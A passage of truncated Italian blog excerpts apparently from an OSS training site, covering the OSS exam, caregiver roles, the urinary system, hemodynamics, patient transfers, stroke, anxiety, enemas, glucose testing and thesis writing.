base richieste per lavorare come Operatore Socio-Sanitario. Questo ruolo è fondamentale nel campo dell'assistenza sanitaria, poiché gli OSS forniscono supporto e assistenza ai pazienti in vari contesti, come ospedali, case di cura e servizi domiciliari. L'esame è progettato per garantire che gli OSS abbiano la formazione necessaria per fornire cure di alta qualità e svolgere le loro responsabilità in modo adeguato. Gli argomenti dell'esame OSS L'esame OSS copre diversi argomenti pertinenti al lavoro di un Operatore Socio-Sanitario. Alcuni dei principali argomenti trattati includono: Anatomia e fisiologia del corpo umano; Igiene e sicurezza dei pazienti; Principi di base dell'assistenza sanitaria; Gestione delle emergenze; Comunicazione efficace con i pazienti e il personale sanitario; Supporto nelle attività quotidiane dei pazienti, come l'igiene personale e l'alimentazione; Assistenza nelle attività di movimento e trasferimento dei pazienti; Legislazione sanitaria; Concetti di psicologia relazionale e comunicazione. Questi sono solo alcuni degli argomenti trattati nell'esame OSS. È importante studiare attentamente ogni argomento e acquisire una conoscenza approfondita in ciascuna area per affrontare con successo l'esame. Com'è strutturato un esame oss Per ottenere l'ammissione all'esame, è fondamentale partecipare attivamente al corso, mantenendo una frequenza minima del 90% e evitando assenze non necessarie. Potrebbe essere richiesto di dimostrare la comprensione delle varie materie prima dell'esame finale. Quest'ultimo è articolato in una prova scritta, una orale e una pratica. La prova scritta consiste in circa 30 domande a risposta multipla da completare in mezz'ora. Per superare questa fase è necessario rispondere correttamente almeno al 70% delle domande. Alcune commissioni possono inserire anche domande aperte o esercizi di riordino cronologico. La prova orale segue la prova scritta e verte su argomenti trattati precedentemente, oltre a domande su competenze specifiche della professione di Operatore Socio-Sanitario (OSS) e sulle normative vigenti. La prova pratica prevede l'esecuzione di procedure tipiche dell'operatore socio-sanitario di fronte alla commissione, utilizzando dispositivi e materiali messi a disposizione. Vengono valutate competenze come la mobilitazione del paziente, il rilevamento dei parametri vitali, il primo soccorso e la gestione di dispositivi medico-sanitari. Inoltre, potrebbe essere richiesto di affrontare casi clinici simulati. È consigliabile prepararsi attentamente studiando il materiale didattico fornito e praticando con simulazioni disponibili online, oltre a collaborare con colleghi per acquisire sicurezza nelle procedure pratiche. Ricordo che durante la mia prova pratica fecero trovare un lettino al centro della stanza con sopra un manichino, chiamato da noi Mike. La mia prova pratica verteva sullo spostamento di Mike dal letto alla carrozzina. Domande tipiche dell'esame Durante un esame per diventare Operatore Socio Sanitario (OSS), la commissione esaminatrice potrebbe porre domande che riguardano vari... --- > Scopri le differenze tra OSS, badante e caregiver: chi fa cosa, quali competenze servono e come si prendono cura delle persone. - Published: 2024-10-05 - Modified: 2025-04-01 - URL: https://ossinreparto.it/differenze-oss-badante-cargiver/ - Categorie: Assistenza alla Persona, Lavoro - Tag: Badante, Caregiver Scopri le differenze tra OSS, badante e caregiver: chi fa cosa, quali competenze servono e come si prendono cura delle persone. L’assistenza domiciliare è un servizio fondamentale per il supporto delle persone anziane, malate o con disabilità, che desiderano mantenere la loro autonomia rimanendo nel comfort delle proprie case. In questo contesto, figure come l'Operatore Socio Sanitario (OSS), il badante e il caregiver svolgono ruoli fondamentali, ma spesso confusi tra loro. Comprendere le differenze tra queste professioni è essenziale per scegliere il supporto più adatto alle esigenze del proprio caro o del paziente. Chi è l'Operatore Socio-Sanitario? L'Operatore Socio-Sanitario (OSS) è una figura qualificata che, dopo aver frequentato un corso di formazione specifico, fornisce assistenza a persone non autosufficienti o fragili. Svolge attività di supporto nelle cure quotidiane, come l'igiene personale, l’alimentazione e la mobilità, e collabora con altre figure sanitarie. L'OSS opera in strutture sanitarie, residenze per anziani o a domicilio, garantendo il benessere e la dignità del paziente. Competenze dell'Operatore Socio Sanitario Grazie alla sua formazione specifica, l'OSS è dotato di competenze multidisciplinari che gli consentono di affrontare le sfide quotidiane del lavoro assistenziale. Di seguito, vengono illustrate le principali competenze che caratterizzano il profilo dell'OSS, evidenziando l'importanza del suo contributo nella rete di assistenza integrata. Assistenza di base alla persona L’OSS fornisce supporto nelle attività quotidiane di cura personale come: Aiuto nell’igiene personale (lavaggio, vestizione, ecc. ); Assistenza nei pasti e nell’alimentazione; Aiuto nella mobilitazione del paziente, sia a letto che durante la deambulazione. Supporto nella somministrazione dei pasti e nella corretta alimentazione L'OSS si assicura che il paziente assuma i pasti in modo adeguato, rispettando le eventuali diete prescritte. Inoltre, assiste nel taglio dei cibi o nel posizionamento corretto per il pasto. Sostegno psico-sociale L'OSS è formato per supportare i pazienti e le famiglie anche dal punto di vista psicologico: Ascolto attivo delle esigenze del paziente; Comunicazione terapeutica per creare un ambiente di fiducia e rispetto reciproco. Attività di animazione e socializzazione Grazie alla sua formazione, l'OSS può anche organizzare e partecipare a attività di animazione volte a migliorare la qualità della vita dei pazienti, in particolare anziani, disabili o persone con disturbi cognitivi. Queste attività hanno lo scopo di favorire la socializzazione e stimolare le capacità cognitive e motorie del paziente. Organizzazione di giochi, laboratori creativi e attività ricreative; Svolgimento di attività di gruppo, come letture, esercizi di memoria e giochi di società; Promozione di attività fisiche leggere per migliorare il benessere fisico e l'umore dei pazienti. Supporto nella gestione delle relazioni sociali L’OSS contribuisce a mantenere attive le relazioni sociali dei pazienti, facilitando il contatto con familiari e amici o partecipando a eventi organizzati nella struttura. Interventi in emergenze domiciliari L'OSS, grazie alla sua formazione, è addestrato a riconoscere e affrontare situazioni di emergenza, intervenendo con prontezza nelle seguenti circostanze: Infarto: l'OSS è formato per riconoscere i segni di un infarto, come dolore al petto, difficoltà respiratorie e sudorazione intensa, e sa come allertare immediatamente i soccorsi e fornire supporto fino all'arrivo dell'ambulanza; Annegamento: in caso di annegamento, l'OSS sa eseguire le prime manovre di soccorso, come la rianimazione cardiopolmonare (RCP), per mantenere le funzioni vitali... --- > Scopri tutto sull'apparato urinario: la sua struttura dettagliata, le principali funzioni e perché è fondamentale per la tua salute. - Published: 2024-09-20 - Modified: 2024-09-08 - URL: https://ossinreparto.it/apparato-urinario-funzioni/ - Categorie: Anatomia - Tag: Apparato Urinario Scopri l'apparato urinario: la sua struttura, come funziona e perché è cruciale per il bilancio dei liquidi e l'eliminazione delle tossine. Esplora il ruolo dei reni, ureteri, vescica e uretra nella salute generale. L'apparato urinario è un sistema essenziale del corpo umano responsabile della produzione, filtraggio e eliminazione dell'urina. Questo articolo esplorerà la sua struttura intricata, le funzioni vitali e il ruolo degli operatori sanitari nell'assicurare la sua salute ottimale. Conoscere l'apparato urinario L'apparato urinario è uno dei sistemi fondamentali del corpo umano, essenziale per il mantenimento dell'equilibrio interno e il corretto funzionamento di molte funzioni vitali. Questo sistema complesso, che comprende una serie di organi e strutture interconnesse, il suo scopo è quello di svolgere un ruolo importante nell'eliminazione dei rifiuti metabolici, nella regolazione dell'equilibrio dei fluidi e nell'assicurare la stabilità dell'ambiente interno del corpo. Una rete di organelli miracolosa L'apparato urinario è composto da una serie di organi e strutture che lavorano sinergicamente per garantire il corretto funzionamento del sistema. Tra questi organi si trovano i reni, gli ureteri, la vescica e l'uretra, ciascuno con ruoli distinti ma interdipendenti nel processo di formazione e eliminazione dell'urina. Struttura dell'apparato urinario Composto da reni, ureteri, vescica urinaria e uretra, questo apparato lavora in sinergia per filtrare il sangue, produrre urina e espellere i prodotti di scarto dall'organismo. I reni, posizionati ai lati della colonna vertebrale, sono responsabili della filtrazione del sangue e della produzione dell'urina, che viene poi trasportata attraverso gli ureteri fino alla vescica urinaria, dove viene temporaneamente immagazzinata. Infine, l'urina viene eliminata dal corpo attraverso l'uretra. Comprendere la struttura e il funzionamento dell'apparato urinario è fondamentale per riconoscere e trattare le condizioni mediche ad esso correlate, migliorando così la salute e il benessere complessivo. In questo articolo, esploreremo in dettaglio i componenti dell'apparato urinario e le loro funzioni interconnesse. I reni: filtri vitali del corpo I reni, situati nella parte posteriore dell'addome, sono gli organi chiave dell'apparato urinario. Le loro piccole unità funzionali chiamate nefroni svolgono un ruolo cruciale nella filtrazione del sangue per rimuovere le tossine e gli eccessi di liquidi, producendo così l'urina. I reni processano circa 200 litri di sangue al giorno per produrre circa 2 litri di urina; Ogni rene è composto da milioni di nefroni, che agiscono come piccoli filtri per purificare il sangue; Corteccia Renale: La parte esterna del rene, nota come corteccia renale, ospita i corpuscoli renali e i tubuli convoluti, che sono fondamentali per il processo di filtrazione del sangue; Midollo Renale: Al centro del rene si trova il midollo renale, dove sono situati i nefroni, le unità funzionali responsabili della formazione dell'urina attraverso processi di filtrazione, riassorbimento e secrezione. Ureteri: vie per il trasporto dell'urina Gli ureteri, due tubi muscolari lunghi circa 25-30 centimetri, svolgono il ruolo di trasportare l'urina dai reni alla vescica. La loro struttura muscolare permette contrazioni ritmiche che spingono l'urina lungo il suo percorso senza ritorno verso i reni, prevenendo il reflusso. Gli ureteri sono dotati di muscoli che contraggono ritmicamente per spingere l'urina verso la vescica; Possono essere soggetti a condizioni come i calcoli renali, che possono causare dolore e ostruzione del flusso urinario. La vescica: serbatoio di raccolta La vescica è un organo a forma di sacco che... --- > Scopri i concetti chiave e le tecniche di monitoraggio dell'emodinamica essenziali per gli Operatori Socio-Sanitari (OSS). - Published: 2024-09-18 - Modified: 2024-09-08 - URL: https://ossinreparto.it/emodinamica-cose-come-funziona/ - Categorie: Anatomia L'emodinamica studia il flusso sanguigno nel sistema cardiovascolare. Conoscerla aiuta gli OSS a migliorare l'assistenza ai pazienti con problemi cardiovascolari. L'emodinamica è una branca della fisiologia che si occupa dello studio delle dinamiche del flusso sanguigno all'interno del sistema cardiovascolare. Questo campo di studio è fondamentale per comprendere come il sangue circoli nel corpo, come viene regolato e come risponde a diverse condizioni cliniche. Nell'ambito dell'Operatore Socio-Sanitario (OSS), avere una conoscenza di base dell'emodinamica può migliorare significativamente la qualità dell'assistenza offerta ai pazienti, specialmente quelli con problemi cardiovascolari. Oggi parleremo ed esploreremo i concetti chiave dell'emodinamica e gli approcci specifici utilizzati nell'OSS per monitorare e supportare la salute cardiovascolare dei pazienti. Concetti di base dell'emodinamica Comprendere i principi di base dell'emodinamica è molto importante per esplorare come il cuore, i vasi sanguigni e il sangue interagiscono per garantire la circolazione. Questo campo esamina la pressione sanguigna, il flusso ematico e la resistenza vascolare, aspetti che servono per mantenere l'omeostasi e per rispondere a varie condizioni fisiologiche e patologiche. Attraverso l'analisi delle forze e dei meccanismi che regolano la circolazione, l'emodinamica offre una visione approfondita delle dinamiche vitali che sostengono la vita umana. Pressione sanguigna La pressione sanguigna è una misura primaria dell'emodinamica, che indica la forza esercitata dal sangue contro le pareti dei vasi sanguigni. Si divide in: Pressione sistolica: la pressione nelle arterie durante la contrazione del cuore; Pressione diastolica: la pressione nelle arterie quando il cuore è a riposo tra una contrazione e l'altra. Portata cardiaca La portata cardiaca è il volume di sangue che il cuore pompa in un minuto. È calcolata come prodotto della frequenza cardiaca (numero di battiti al minuto) e il volume sistolico (quantità di sangue espulsa dal cuore in un singolo battito). Resistenza vascolare La resistenza vascolare è una misura della forza che il sistema vascolare oppone al flusso sanguigno. È determinata principalmente dal diametro dei vasi sanguigni e dalla viscosità del sangue. Vasi sanguigni più stretti o più lunghi e un sangue più denso aumentano la resistenza, rendendo più difficile il pompaggio del sangue da parte del cuore. La resistenza vascolare è un parametro fondamentale nell'emodinamica, poiché influenza la pressione arteriosa e la perfusione dei tessuti, giocando un ruolo chiave nella regolazione della circolazione sanguigna e nell'adattamento del corpo a diverse condizioni fisiologiche e patologiche. Il reparto di emodinamica Il reparto di emodinamica è una sezione specializzata degli ospedali dedicata alla diagnosi e al trattamento delle malattie cardiovascolari attraverso tecniche di cateterismo e altre procedure minimamente invasive. Questo reparto è equipaggiato con strumenti avanzati per monitorare e trattare i problemi legati alla circolazione del sangue e al funzionamento del cuore. Comprendere il reparto di emodinamica: attività e procedure Nel reparto di emodinamica, vengono eseguite diverse procedure diagnostiche e terapeutiche, tra cui: Cateterismo cardiaco: una procedura invasiva utilizzata per esaminare il funzionamento del cuore e dei vasi sanguigni. Un catetere viene inserito in un'arteria e guidato fino al cuore per misurare la pressione e valutare il flusso sanguigno; Angiografia coronarica: un tipo di radiografia utilizzata per visualizzare le arterie coronarie e identificare eventuali ostruzioni o restringimenti; Angioplastica: una procedura per aprire le arterie bloccate o ristrette... --- > Gestire trasferimenti e ricoveri richiede attenzione e cura per garantire che ogni paziente riceva la migliore assistenza possibile. - Published: 2024-09-11 - Modified: 2024-09-08 - URL: https://ossinreparto.it/trasferimento-ricovero-operatore-socio-sanitario/ - Categorie: Organizzazione Socio-Sanitaria - Tag: Lavorare come OSS Gestire trasferimenti e ricoveri richiede attenzione e cura per garantire che ogni paziente riceva la migliore assistenza possibile. Nell'ambito dell'assistenza socio sanitaria, il trasferimento e il ricovero dei pazienti rappresentano momenti che richiedono una gestione attenta e consapevole da parte degli operatori. Comprendere appieno i processi di trasferimento e ricovero è fondamentale per garantire una transizione sicura e senza intoppi per i pazienti, ottimizzando al contempo la qualità dell'assistenza fornita. In questa guida, esploreremo cosa sono il trasferimento e il ricovero, fornendo consigli pratici e strategie per gli operatori socio sanitari al fine di massimizzare la sicurezza e il benessere dei pazienti durante questi importanti momenti del percorso di cura. Esplorando il trasferimento e il ricovero Il ricovero e il trasferimento rappresentano fasi fondamentali nell'assistenza sanitaria, dove i pazienti possono passare da un livello di cure meno intensive, come l'ambulatorio, a uno più intensivo, come il ricovero ospedaliero, o viceversa. Questi processi non solo influenzano la salute e il benessere del paziente, ma anche il carico di lavoro del personale sanitario e le risorse dell'organizzazione sanitaria. Definizione e scopi Il ricovero si riferisce all'ammissione di un paziente in un'unità ospedaliera per ricevere cure mediche, chirurgiche o di riabilitazione che richiedono un ambiente strutturato e un monitoraggio costante. D'altra parte, il trasferimento è il movimento del paziente tra diverse strutture sanitarie, come dall'ospedale alla casa di cura o viceversa, o tra reparti ospedalieri. Motivi e indicazioni I motivi per il ricovero possono variare da condizioni mediche acute o croniche che richiedono cure intensive, interventi chirurgici programmabili o emergenze mediche. Nel frattempo, il trasferimento può essere necessario per l'accesso a cure specialistiche non disponibili presso la struttura attuale, il proseguimento della riabilitazione o il rilascio del paziente quando non è più necessario il ricovero ospedaliero. Processi e procedure Il processo di ricovero e trasferimento coinvolge una serie di attività e procedure per garantire una transizione sicura ed efficiente del paziente. Queste includono la valutazione iniziale del paziente, la pianificazione del trattamento, la preparazione per il trasferimento, la gestione dei documenti clinici e la comunicazione tra i membri del team sanitario. Importanza della registrazione del ricovero Nel contesto complesso e delicato dell'assistenza sanitaria, la registrazione accurata e dettagliata del ricovero riveste un ruolo fondamentale nell'assicurare la qualità, la sicurezza e la continuità delle cure fornite ai pazienti. La documentazione completa e precisa di ogni fase del processo di ricovero non solo fornisce una traccia chiara e dettagliata della storia clinica del paziente, ma costituisce anche un elemento cruciale per garantire una gestione efficiente, una comunicazione efficace e una valutazione accurata delle prestazioni sanitarie. Tracciabilità clinica: La registrazione accurata fornisce una cronologia dettagliata delle condizioni del paziente, dei trattamenti somministrati e delle risposte agli interventi; Comunicazione efficace: Una documentazione chiara e completa facilita la comunicazione tra i membri del team sanitario e riduce il rischio di errori o fraintendimenti; Continuità delle cure: Una registrazione dettagliata del ricovero aiuta a garantire una transizione fluida del paziente tra i vari reparti o tra diverse strutture sanitarie. Procedure di registrazione Nell'ambito dei servizi sanitari, le procedure di registrazione svolgono un ruolo centrale nell'assicurare la raccolta,... --- > Scopri il ruolo degli OSS nella gestione dell'ictus: supporto essenziale per il recupero e l'assistenza ai pazienti colpiti da ictus. - Published: 2024-09-09 - Modified: 2025-07-09 - URL: https://ossinreparto.it/che-cose-lictus-e-cosa-puo-fare-loss/ - Categorie: Anatomia - Tag: Lavorare come OSS Scopri il ruolo degli OSS nella gestione dell'ictus: supporto essenziale per il recupero e l'assistenza ai pazienti colpiti da ictus. L'ictus è un'emergenza medica che si verifica quando il flusso di sangue al cervello è interrotto, provocando danni cerebrali e potenziali disabilità a lungo termine. Gli interventi tempestivi sono di vitale importanza per limitare i danni e migliorare il recupero. In questo contesto, gli operatori socio-sanitari (OSS) svolgono un ruolo fondamentale, offrendo assistenza quotidiana, supporto nella riabilitazione, e monitoraggio delle condizioni del paziente. Il loro intervento contribuisce a una gestione ottimale dell'ictus, migliorando la qualità della vita dei pazienti e facilitando il loro percorso verso la guarigione. Cos'è un ictus? L'ictus, noto anche come stroke, è una grave emergenza sanitaria che si manifesta quando la circolazione sanguigna in una zona del cervello viene bloccata, causando danni alle cellule cerebrali. Questo blocco può essere causato da un coagulo di sangue (ictus ischemico) o da una rottura di un vaso sanguigno (ictus emorragico). L'ictus può avere effetti devastanti, tra cui difficoltà motorie, problemi di linguaggio, e compromissione delle funzioni cognitive. L'ictus può colpire persone di qualsiasi età, ma la probabilità di sviluppare un ictus aumenta con l'età. La maggior parte dei casi si verifica tra le persone di età avanzata. In generale, il rischio di ictus raddoppia ogni 10 anni dopo i 55 anni. Per quanto riguarda le statistiche, si stima che ogni anno circa 15 milioni di persone nel mondo soffrano di ictus. Di queste, circa il 5% è sotto i 45 anni, mentre la maggior parte degli ictus colpisce persone di età superiore ai 65 anni. In termini percentuali, la prevalenza di ictus aumenta con l'età: ad esempio, le stime suggeriscono che circa il 1% della popolazione di età inferiore ai 55 anni potrebbe avere un ictus, mentre questo valore può superare il 10% per le persone di età superiore agli 80 anni. Tuttavia, è importante notare che fattori di rischio come ipertensione, diabete, colesterolo elevato, fumo e stili di vita poco salutari possono influenzare significativamente la probabilità di un ictus, rendendolo una condizione che può colpire anche individui più giovani, sebbene meno frequentemente. I tipi di ictus Comprendere i diversi tipi di ictus è essenziale per il riconoscimento tempestivo e la gestione efficace della condizione. Esistono principalmente due tipi di ictus: ischemico ed emorragico. Ognuno di questi può essere ulteriormente suddiviso in sottotipi, a seconda delle cause e delle caratteristiche cliniche. Ictus ischemico L'ictus ischemico è il tipo più comune, rappresentando circa l'85% di tutti i casi di ictus. Questo tipo di ictus è causato dall'ostruzione o dal restringimento delle arterie che forniscono sangue al cervello, portando a una riduzione o a una totale interruzione del flusso sanguigno. Le cellule cerebrali, prive di ossigeno e nutrienti, iniziano a morire nel giro di pochi minuti. Trombosi cerebrale: Questo sottotipo si verifica quando un coagulo di sangue (trombo) si forma in un'arteria cerebrale, generalmente a causa di arteriosclerosi, che è l'indurimento e il restringimento delle arterie; Embolia cerebrale: In questo caso, il coagulo di sangue (embolo) si forma in un'altra parte del corpo, spesso nel cuore, e viaggia attraverso il flusso sanguigno fino a raggiungere il cervello, dove blocca... --- > L'ansia è un'emozione naturale di allerta che, se eccessiva, può diventare debilitante. È importante riconoscerne i sintomi e adottare trattamenti. - Published: 2024-09-07 - Modified: 2024-09-07 - URL: https://ossinreparto.it/ansia-cos-e-come-comprenderla-trattamento/ - Categorie: Psicologia, Uncategorized - Tag: Ansia L'ansia è un'emozione naturale di allerta che, se eccessiva, può diventare debilitante. È importante riconoscerne i sintomi e adottare trattamenti. L'ansia è un'emozione che tutti noi sperimentiamo a vari livelli nel corso della vita, e che funziona come un meccanismo di allarme interno, preparandoci a fronteggiare potenziali minacce. Si tratta di risposta emotiva, radicata nelle nostre neurobiologie ed è stata cruciale per la sopravvivenza della specie umana, attivando il sistema di "lotta o fuga" in situazioni di pericolo. Nondimeno, nella società moderna, le minacce sono spesso psicologiche piuttosto che fisiche, e l'ansia può diventare cronica, influenzando negativamente la qualità della vita. Nell’attuale contesto, caratterizzato da una costante esposizione a informazioni e stimoli, non è raro che l'ansia superi il suo ruolo adattativo, trasformandosi da un'emozione gestibile ad una condizione pervasiva che richiede attenzione e cura. Disturbi d'ansia, quali il disturbo d'ansia generalizzata, il disturbo da attacchi di panico, e la fobia sociale, sono tra le condizioni psichiatriche più comuni, colpendo milioni di persone in tutto il mondo. Gli effetti dell'ansia possono essere debilitanti, limitando la capacità di una persona di “funzionare” efficacemente nel lavoro, nelle relazioni o nelle attività quotidiane. Oltre a provocare tensione emotiva, l'ansia può manifestarsi attraverso sintomi fisici, come palpitazioni, sudorazione eccessiva, e disturbi del sonno, rendendo difficile per chi ne soffre condurre una vita normale e soddisfacente. La comprensione dell'ansia non si limita alla sua identificazione ed al riconoscimento dei sintomi, è fondamentale anche esplorarne le sue cause, che possono variare da fattori genetici a esperienze di vita stressanti, e le strategie di gestione, che includono terapie psicologiche, modifiche allo stile di vita e, in alcuni casi, trattamenti farmacologici. La ricerca, continua a fornire nuove intuizioni sulle migliori pratiche per trattare l'ansia, evidenziando l'importanza di approcci personalizzati e supportati da prove. La Natura dell'Ansia L'ansia: origini e funzioni L'ansia è un'emozione universale ed essenziale per la sopravvivenza delle specie, le sue radici si estendono fino agli albori dell'evoluzione umana, servendo da meccanismo di allerta per proteggerci da pericoli e minacce. Potremmo dire che si questa emozione è “cablata” nel nostro sistema nervoso e si manifesta attraverso il ben noto meccanismo di "lotta o fuggi", preparando il corpo a reagire rapidamente a situazioni potenzialmente pericolose. La ricerca neuroscientifica ha mostrato che l'ansia attiva specifiche aree del cervello, come l'amigdala ed il sistema limbico, che sono cruciali per la valutazione delle minacce e la regolazione emotiva. Valore adattativo dell'ansia: dall'allerta alla disfunzione Mentre l'ansia ha un chiaro valore adattativo, permettendoci di affrontare efficacemente le minacce, può diventare problematica quando è eccessiva o inappropriata per la situazione. In condizioni ottimali, l'ansia ci mantiene vigili e ci può spingere a migliorare le nostre prestazioni in varie attività, come lo studio o il lavoro, anche se un'eccessiva risposta ansiosa può portare a una serie di disturbi d'ansia, influenzando negativamente la nostra salute mentale e fisica. La comprensione del sottile equilibrio tra l'ansia funzionale e quella disfunzionale è fondamentale per sviluppare strategie di gestione efficaci. Caratteristiche dell'ansia eccessiva Pensieri disfunzionali e percezione alterata del pericolo L'ansia eccessiva è spesso alimentata da pensieri disfunzionali, che distorcono la realtà e amplificano la percezione del... --- > La procedura corretta per effettuare un clistere; ecco cosa può effettivamente fare un oss durante questa delicata procedura. - Published: 2024-09-06 - Modified: 2024-09-01 - URL: https://ossinreparto.it/clistere-come-si-fa/ - Categorie: Assistenza alla Persona, Procedure - Tag: Lavorare come OSS La procedura corretta per effettuare un clistere e cosa può fare l'oss durante la procedura. Il clistere è una pratica medica antica utilizzata per vari scopi terapeutici, dalla pulizia intestinale alla somministrazione di farmaci. In particolare, nell'assistenza agli anziani, l'Operatore Socio-Sanitario (OSS) diventa fondamentale nell'aiuto di questa procedura. Questo articolo esplorerà le tecniche di procedura del clistere, fornendo strategie e approcci per gli OSS, con l'obiettivo di informare e coinvolgere un pubblico non esperto. Cos'è un clistere Il clistere è una tecnica terapeutica utilizzata da secoli, che continua ad esistere in vari ambiti medici e di assistenza. Il suo scopo principale risiede nella capacità di agire direttamente sull'intestino, permettendo una pulizia profonda o un'azione mirata dei farmaci. Il clistere in passato Il clistere ha una lunga e variata storia che attraversa diverse culture e periodi storici. Originariamente, l'uso dei clisteri era strettamente legato alla medicina e ai rituali religiosi. Ecco una panoramica delle sue principali evoluzioni nel tempo: Egitto Antico: I primi riferimenti ai clisteri si trovano in testi egizi risalenti a circa 4000 anni fa. Gli egizi usavano clisteri per trattare problemi digestivi e come parte di rituali di purificazione. Erano spesso realizzati utilizzando un tubo di ceramica e un recipiente di pelle per contenere i liquidi. Grecia e Roma: Nella Grecia antica, Ippocrate e Galeno erano tra i medici che prescrivevano clisteri per una varietà di scopi terapeutici. Ippocrate lo considerava un metodo utile per bilanciare gli umori del corpo. I Romani adottarono e adattarono questa pratica, spesso utilizzando strumenti più avanzati, come il "syrinx," un tubo di metallo con un bulbo per l'inserimento del liquido. I clisteri erano comunemente utilizzati per trattare costipazione e disordini gastrointestinali. Il clistere nel Medioevo Durante il Medioevo, il clistere rimase una pratica comune nella medicina europea. Fu utilizzato sia per la pulizia intestinale che come metodo per somministrare farmaci. Le conoscenze sulla tecnica e sui materiali utilizzati per i clisteri continuarono ad evolversi, e i medici medievali iniziarono a sperimentare con diversi tipi di soluzioni, comprese le erbe e i minerali. Il clistere nel Rinascimento Nel Rinascimento, con l'avanzare delle conoscenze mediche, i clisteri divennero sempre più raffinati. L'uso di strumenti più sofisticati e soluzioni terapeutiche migliorò l'efficacia e la sicurezza della pratica. La visione medica dell'epoca, influenzata dal pensiero di Galeno e dalla medicina umorale, continuò a considerare i clisteri come un'importante forma di trattamento per molte malattie. Il clistere nell'età moderna Con l'avvento della medicina moderna, l'uso dei clisteri cambiò. Sebbene rimanesse una pratica comune per il trattamento di alcune condizioni, la scoperta di nuovi farmaci e metodi di trattamento portò a una diminuzione della loro popolarità. Tuttavia, i clisteri continuano a essere utilizzati in contesti clinici per il trattamento di costipazione severa e per preparazioni pre-operatorie. Il clistere nell'Epoca Contemporanea Nel XX e XXI secolo, i clisteri sono stati in parte soppiantati da trattamenti più moderni e meno invasivi. Tuttavia, rimangono uno strumento utile in alcune situazioni mediche, come la gestione di disordini intestinali e come preparazione per esami diagnostici. Inoltre, il concetto di "detossificazione" attraverso clisteri ha avuto un certo seguito in... --- > Scopri come l'Operatore Socio-Sanitario (OSS) supporta il processo di rilevazione della glicemia, sotto supervisione di un infermiere. - Published: 2024-09-05 - Modified: 2024-10-24 - URL: https://ossinreparto.it/rilevazione-glicemia-operatore-socio-sanitario/ - Categorie: Assistenza alla Persona, Procedure - Tag: Diabete, Paziente Diabetico Scopri come l'Operatore Socio-Sanitario (OSS) supporta il processo di rilevazione della glicemia, sotto supervisione di un infermiere. La rilevazione della glicemia (o dello stick glicemico) è una procedura importante nel monitoraggio del livello di zuccheri nel sangue, fondamentale per la gestione del diabete e di altre condizioni mediche. Questo articolo si propone di spiegare in modo chiaro e dettagliato cos'è lo stick glicemico, come viene utilizzato e quali sono le procedure corrette per eseguire questa operazione in sicurezza. Inoltre, esploreremo il ruolo dell'Operatore Socio Sanitario (OSS) in questa pratica, evidenziando l'importanza di seguire rigorosamente le linee guida per evitare infezioni sia per i pazienti che per gli operatori. Cos'è lo stick glicemico? Lo stick glicemico, noto anche come test della glicemia capillare, è un esame diagnostico utilizzato per determinare la concentrazione di glucosio nel sangue. È ampiamente impiegato nel monitoraggio e nella gestione del diabete mellito, permettendo ai pazienti di valutare rapidamente e regolarmente i loro livelli di glucosio attraverso l'uso di un glucometro portatile. Procedure per la rilevazione dello stick glicemico La rilevazione dello stick glicemico è una pratica fondamentale nella gestione del diabete mellito. Essa permette di monitorare in modo semplice e rapido i livelli di glucosio nel sangue, fornendo dati essenziali per il controllo della glicemia e l'adeguamento delle terapie. Questa procedura, accessibile anche a livello domiciliare (leggi il nostro articolo sull'assistenza domiciliare integrata), è diventata un pilastro nell'autogestione del diabete, migliorando significativamente la qualità della vita dei pazienti. Preparazione del materiale Prima di iniziare la procedura, è fondamentale preparare tutto il materiale necessario: Glucometro; Strisce reattive; Lancette sterili; Disinfettante per le mani o salviette alcoliche, DPI; Cotone o garza. Passaggi della rilevazione Lavaggio delle mani: Assicurarsi che il paziente si lavi le mani con acqua e sapone per rimuovere qualsiasi residuo che potrebbe alterare il risultato del test e indossare i DPI seguendo le procedure per il controllo infezioni. Preparazione del glucometro: Inserire una striscia reattiva nel dispositivo e accenderlo. Prelievo del campione: La parte specifica da pungersi è il lato della punta delle dita, non il centro, per minimizzare il dolore e ridurre il rischio di lesioni ai nervi e ai vasi sanguigni. Il bordo laterale della falange è preferibile poiché contiene meno terminazioni nervose rispetto al centro della punta del dito. Applicare una pressione leggera per facilitare l’uscita di una piccola goccia di sangue. La lancetta dovrebbe essere utilizzata in modo rapido e deciso per minimizzare il disagio. Raccolta della goccia di sangue: Applicare la goccia di sangue sulla striscia reattiva. Lettura del risultato: Attendere qualche secondo per la lettura del valore sul glucometro. Post-Test: Dopo il test, è consigliabile massaggiare delicatamente il dito per favorire la circolazione e applicare una leggera pressione per fermare eventuali sanguinamenti. Gestione post-test: Smaltire correttamente la lancetta e la striscia utilizzate, nei contenitori rigidi per rifiuti sanitari pericolosi, e annotare i risultati. Importanza della corretta esecuzione Il monitoraggio regolare della glicemia è cruciale per i pazienti diabetici per diversi motivi: Prevenzione delle Cìcomplicanze: Controllare la glicemia aiuta a prevenire le complicanze acute (come l'ipoglicemia e l'iperglicemia) e croniche (come retinopatia, nefropatia e neuropatia); Adattamento della... --- > In questo articolo spiegheremo come scrivere tesina oss nel modo giusto, evitando errori. Una guida fondamentale per l'esame e per diventare oss. - Published: 2024-09-05 - Modified: 2025-04-01 - URL: https://ossinreparto.it/come-scrivere-tesina-oss/ - Categorie: Diventare OSS - Tag: Tesina OSS In questo articolo, forniremo consigli e suggerimenti pratici su come sviluppare una tesina OSS efficace, che ti permetterà di presentare al meglio i tuoi risultati. La tesina per l'OSS (Operatore Socio Sanitario) rappresenta un momento importante per la valutazione delle competenze acquisite durante il percorso formativo. È un'opportunità per mettere in evidenza le proprie conoscenze, capacità e esperienze nel campo dell'assistenza socio-sanitaria. In questo articolo, forniremo consigli e suggerimenti pratici su come sviluppare una tesina OSS efficace, che ti permetterà di presentare al meglio i tuoi risultati. Prima di iniziare a elaborare la tua tesina, è importante comprendere l'obiettivo e la struttura richiesta. La tesina dovrebbe fornire una panoramica completa delle tue competenze, evidenziando le conoscenze teoriche e pratiche acquisite durante il corso di formazione. Inoltre, dovrebbe dimostrare la tua capacità di applicare tali conoscenze in contesti reali di assistenza. Identificazione dei temi principali La prima fase nella creazione della tesina OSS è l'identificazione dei temi principali su cui focalizzarsi. Ecco alcuni argomenti che potresti considerare: Scelta dell'argomento La scelta dell'argomento è fondamentale per la riuscita della tua tesina OSS. Scegli un tema che ti interessi e che sia rilevante per la professione di Operatore Socio-Sanitario. Ecco alcuni suggerimenti per selezionare un buon argomento: Identifica le aree chiave della professione OSS che ti appassionano; Considera gli aspetti attuali e le sfide del settore socio-sanitario; Scegli un argomento che ti permetta di approfondire competenze specifiche dell'OSS. Competenze e abilità acquisite Elenca le principali competenze e abilità che hai 